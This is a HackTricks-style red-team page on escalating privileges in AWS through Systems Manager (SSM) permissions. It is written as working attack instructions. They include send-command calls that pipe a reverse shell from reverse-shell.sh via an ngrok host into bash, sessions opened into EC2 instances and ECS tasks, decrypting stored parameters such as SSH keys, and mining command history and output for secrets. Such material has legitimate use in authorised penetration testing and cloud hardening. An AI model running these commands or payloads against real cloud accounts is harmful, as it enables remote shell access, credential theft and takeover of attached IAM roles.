Links

AWS - SSM Privesc

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:

SSM

For more info about SSM check:

ssm:SendCommand

An attacker with the permission ssm:SendCommand can execute commands in instances running the Amazon SSM Agent and compromise the IAM Role running inside of it.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Potential Impact: Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.

ssm:StartSession

An attacker with the permission ssm:StartSession can start a SSH like session in instances running the Amazon SSM Agent and compromise the IAM Role running inside of it.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potential Impact: Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.

Privesc to ECS

When ECS tasks run with ExecuteCommand enabled users with enough permissions can use ecs execute-command to execute a command inside the container. According to the documentation this is done by creating a secure channel between the device you use to initiate the “exec“ command and the target container with SSM Session Manager. Therefore, users with ssm:StartSession will be able to get a shell inside ECS tasks with that option enabled just running:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
Potential Impact: Direct privesc to the ECSIAM roles attached to running tasks with ExecuteCommand enabled.

ssm:ResumeSession

An attacker with the permission ssm:ResumeSession can re-start a SSH like session in instances running the Amazon SSM Agent with a disconnected SSM session state and compromise the IAM Role running inside of it.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Potential Impact: Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

An attacker with the mentioned permissions is going to be able to list the SSM parameters and read them in clear-text. In these parameters you can frequently find sensitive information such as SSH keys or API keys.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Potential Impact: Find sensitive information inside the parameters.

ssm:ListCommands

An attacker with this permission can list all the commands sent and hopefully find sensitive information on them.
aws ssm list-commands
Potential Impact: Find sensitive information inside the command lines.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

An attacker with these permissions can list all the commands sent and read the output generated hopefully finding sensitive information on it.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Potential Impact: Find sensitive information inside the output of the command lines.

Codebuild

You can also use SSM to get inside a codebuild project being built:
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks: